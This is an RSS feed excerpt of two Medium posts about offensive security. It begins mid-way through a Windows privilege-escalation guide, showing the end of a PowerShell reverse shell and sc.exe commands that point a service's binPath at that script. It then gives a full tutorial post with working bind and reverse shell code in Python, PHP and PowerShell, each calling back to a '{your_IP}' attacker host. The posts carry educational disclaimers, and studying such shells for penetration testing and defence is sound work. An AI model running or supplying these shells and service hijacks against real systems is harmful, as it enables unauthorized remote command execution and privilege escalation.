System.Text.ASCIIEncoding).GetString($bytes, 0, $i)<br> $sendback = (iex $data 2&gt;&amp;1 | Out-String)<br> $sendback2 = $sendback + &#39;PS &#39; + (pwd).Path + &#39;&gt; &#39;<br> $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)<br> $stream.Write($sendbyte, 0, $sendbyte.Length)<br> $stream.Flush()<br> }<br> $client.Close()</pre><p><em>Upload revshell1.ps1 via Evil-WinRM</em><br>Correct Binary Path: Ensure that the binPath points to a valid executable. If your intention is to run a PowerShell script using a service, you would typically need to wrap the script(.Ps1) call within a proper executable structure. For example:</p><pre>sc.exe config VSS binPath= &quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File C:\Users\svc-printer\Documents\revshell.ps1&quot;<br>sc.exe config vss binPath= &quot;cmd.exe /c C:\Users\svc-printer\Documents\revshell.ps1&quot;<br>sc.exe stop Service<br>sc.exe start Service</pre><p>By following these steps, you should be able to run your PowerShell script through a Windows service.</p><p><strong>## Conclusion<br>This guide demonstrates practical approaches to privilege escalation using service misconfigurations. By understanding these techniques, security professionals can better secure their systems against similar attacks. Remember, always ensure to have proper authorization before testing these methods in any environment.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56ff514f5ae3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding && Demystifying Bind and Reverse Shells Across Various Programming Languages]]></title>
            <link>https://medium.com/@M4verick/understanding-demystifying-bind-and-reverse-shells-across-various-programming-languages-d7cbcc36fe0e?source=rss-bb940cf519a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7cbcc36fe0e</guid>
            <dc:creator><![CDATA[Maverick]]></dc:creator>
            <pubDate>Fri, 28 Mar 2025 23:14:01 GMT</pubDate>
            <atom:updated>2025-03-28T23:20:23.285Z</atom:updated>
            <content:encoded><![CDATA[<p>In the realm of cybersecurity, understanding how different programming languages can be utilized to create both bind and reverse shells is crucial for both defensive and offensive security strategies. This post explores simplified code snippets for creating bind and reverse shells in Python, PHP, PowerShell, CMD, and Bash, drawing parallels with the sophisticated payloads found in the Metasploit Framework.</p><h3><strong>The Basics First: Bind Shell vs. Reverse Shell</strong></h3><p>🔐Bind Shell🐚: Opens a command line interface on the target machine that listens for incoming connections, which can then be accessed by the attacker.<br>🔐Reverse Shell🐚: Connects from the target machine back to the attacker’s machine, where it can be controlled remotely.<br>These concepts are implemented similarly across various programming languages, albeit with syntax and function differences.<br>In this post, we delve into the mechanics of bind and reverse shells using various programming languages. This exploration aims to demystify the code snippets provided earlier, focusing on the libraries used, methods/functions employed, and their arguments. Understanding these elements will provide a clearer picture of how these shells operate.</p><h4><strong><em>🚀 Python Shell🐚</em></strong></h4><p><em>Python’s robust standard library allows straightforward socket programming to create both bind and reverse shells.<br>🧰 Libraries Used<br>- `socket`: Facilitates network connections.<br>- `subprocess`: Executes shell commands.<br>- `os`: Provides a way of using operating system dependent functionality (not directly used in the snippets but often included for broader system interactions).</em></p><p><em>🧰Key Functions and Methods<br>- `socket.socket()`: Creates a new socket.<br>- `bind()`: Binds the socket to an address.<br>- `listen()`: Enables the server to accept connections.<br>- `accept()`: Blocks and waits for an incoming connection.<br>- `connect()`: Initiates a connection with a remote socket.<br>- `recv()`: Receives data from the socket.<br>- `send()`: Sends data through the socket.<br>- `Popen()`: Executes a command in a new process.</em></p><p><em>🧰 Arguments<br>- `AF_INET`: Address family for IPv4.<br>- `SOCK_STREAM`: Socket type for TCP connections.<br>- IP addresses and port numbers are specified as tuples.</em></p><p><strong>🕹 Bind Shell(Python)</strong><br>import socket, subprocess, os</p><p>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.bind((‘0.0.0.0’, 443))<br>s.listen(1)<br>conn, addr = s.accept()</p><p>while True:<br> data = conn.recv(1024)<br> if data.decode().strip() == ‘exit’: break<br> proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)<br> output = proc.stdout.read() + proc.stderr.read()<br> conn.send(output)<br>conn.close()</p><p><strong>🕹 Reverse Shell(Python)</strong><br>import socket, subprocess, os</p><p>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((‘{your_IP}’, 443))</p><p>while True:<br> data = s.recv(1024)<br> if data.decode().strip() == ‘exit’: break<br> proc = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)<br> output = proc.stdout.read() + proc.stderr.read()<br> s.send(output)<br>s.close()</p><h4><strong><em>🚀 PHP Shells🐚</em></strong></h4><p><em>PHP utilizes its socket functions to manipulate network connections directly.<br>🧰 Libraries Used<br>- Sockets module: Allows for creating sockets, binding them, and listening for connections.</em></p><p><em>🧰 Key Functions<br>- `socket_create()`: Creates a socket that is bound to a specific transport protocol.<br>- `socket_bind()`: Binds a name to a socket.<br>- `socket_listen()`: Listens for a connection on a socket.<br>- `socket_accept()`: Accepts a connection on a socket.<br>- `socket_read()`: Reads a length of bytes from a socket.<br>- `socket_write()`: Writes to a socket.<br>- `shell_exec()`: Execute command via shell and return complete output as a string.</em></p><p><em>🧰 Arguments<br>- `AF_INET`: Represents the IPv4 internet protocol.<br>- `SOCK_STREAM`: Represents a reliable, two-way, connection-based byte stream.<br>- Port numbers and IP addresses define where to listen or whom to connect.</em></p><p><strong>🕹 Bind Shell(PHP)</strong><br>&lt;php?<br>$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br>socket_bind($sock, “0.0.0.0”, 443);<br>socket_listen($sock);</p><p>$client = socket_accept($sock);</p><p>while(($input = socket_read($client, 1024)) !== false) {<br> if(trim($input) == ‘exit’) break;<br> $output = shell_exec($input);<br> socket_write($client, $output);<br>}<br>socket_close($client);<br>socket_close($sock);<br>&gt;</p><p>🕹<strong> Reverse Shell(PHP)</strong><br>&lt;php?<br>$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br>socket_connect($sock, ‘{your_IP}’, 443);</p><p>while(($input = socket_read($sock, 1024)) !== false) {<br> if(trim($input) == ‘exit’) break;<br> $output = shell_exec($input);<br> socket_write($sock, $output);<br>}socket_close($sock);<br>&gt;</p><h4><em>🚀 PowerShell</em><strong><em>🐚</em></strong></h4><p><em>PowerShell uses .NET classes to establish TCP connections and execute commands.<br>🧰 Libraries Used<br>- .NET Framework’s `System.Net.Sockets` namespace.</em></p><p><em>🧰 Key Classes and Methods<br>- `TcpListener`: Listens for TCP network client connections.<br>- `TCPClient`: Provides client connections for TCP network services.<br>- `GetStream()`: Returns the NetworkStream used to send and receive data.<br>- `StreamReader` and `StreamWriter`: Read and write data streams.</em></p><p><em>🧰 Arguments<br>- Port numbers and IP addresses are crucial for establishing the connection points.</em></p><p>🕹<strong> Bind Shell(</strong>Powershell)<br>$listener = [System.Net.Sockets.TcpListener]443<br>$listener.Start()<br>$client = $listener.AcceptTcpClient()</p><p>$stream = $client.GetStream()<br>$writer = new-object System.IO.StreamWriter($stream)<br>$reader = new-object System.IO.StreamReader($stream)</p><p>while (($cmd = $reader.ReadLine()) -ne “exit”) {<br> $output = iex $cmd 2&gt;&amp;1<br> $writer.WriteLine($output)<br> $writer.Flush()<br>}</p><p>$client.Close()<br>$listener.Stop()<br>```</p><p>🕹 <strong>Reverse Shell(</strong>Powershell)<br>```powershell<br>$ip = “{your_IP}”<br>$port = 443<br>$client = New-Object System.Net.Sockets.TCPClient($ip, $port)<br>$stream = $client.GetStream()<br>$writer = new-object System.IO.StreamWriter($stream)<br>$reader = new-object System.IO.StreamReader($stream)</p><p>while (($cmd = $reader.ReadLine()) -ne “exit”) {<br> $output = iex $cmd 2&gt;&amp;1<br> $writer.WriteLine($output)<br> $writer.Flush()<br>}<br>$client.Close()<br>```</p><p>### CMD and Bash<br>Both CMD and BASH primarily use Netcat (`nc`), a versatile networking tool, to facilitate their respective shells.</p><p>🔐 Summary<br>Despite the diversity in syntax and libraries, the fundamental approach to creating bind and reverse shells remains consistent across different programming environments. Each method leverages the native capabilities of its platform to execute remote commands, showcasing the versatility and dangers of shell programming in network security.<br>This exploration not only highlights the simplicity behind these powerful techniques but also underscores the importance of understanding them to better secure or penetrate systems. <br>Special thanks to the Metasploit Team for their invaluable resources that inspired this comparative study.</p><p>🔐 Conclusion<br>Each language or tool has its own set of functions, methods, or commands tailored towards facilitating network communications — either inbound or outbound. The choice of function and its arguments are dictated by the need to either listen for incoming connections (bind shell) or initiate connections to a remote listener (reverse shell).<br>Understanding these basics not only aids in recognizing how these scripts function but also in appreciating the underlying principles of network-based programming across different platforms. This knowledge is essential for anyone looking to secure systems or develop tools in the field of cybersecurity.</p><p>References: https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/payload</p><p>References: <a href="https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads">https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads</a></p><p><strong>Disclaimer</strong>: This information is provided for educational purposes only. Unauthorized access to computer systems is illegal and punishable by law.</p><p>If you’re curious to learn more about cybersecurity and ethical hacking, be sure to follow @<a href="https://medium.com/u/bb940cf519a7">Ba_zsh</a> on Twitter for regular updates and insights.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7cbcc36fe0e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>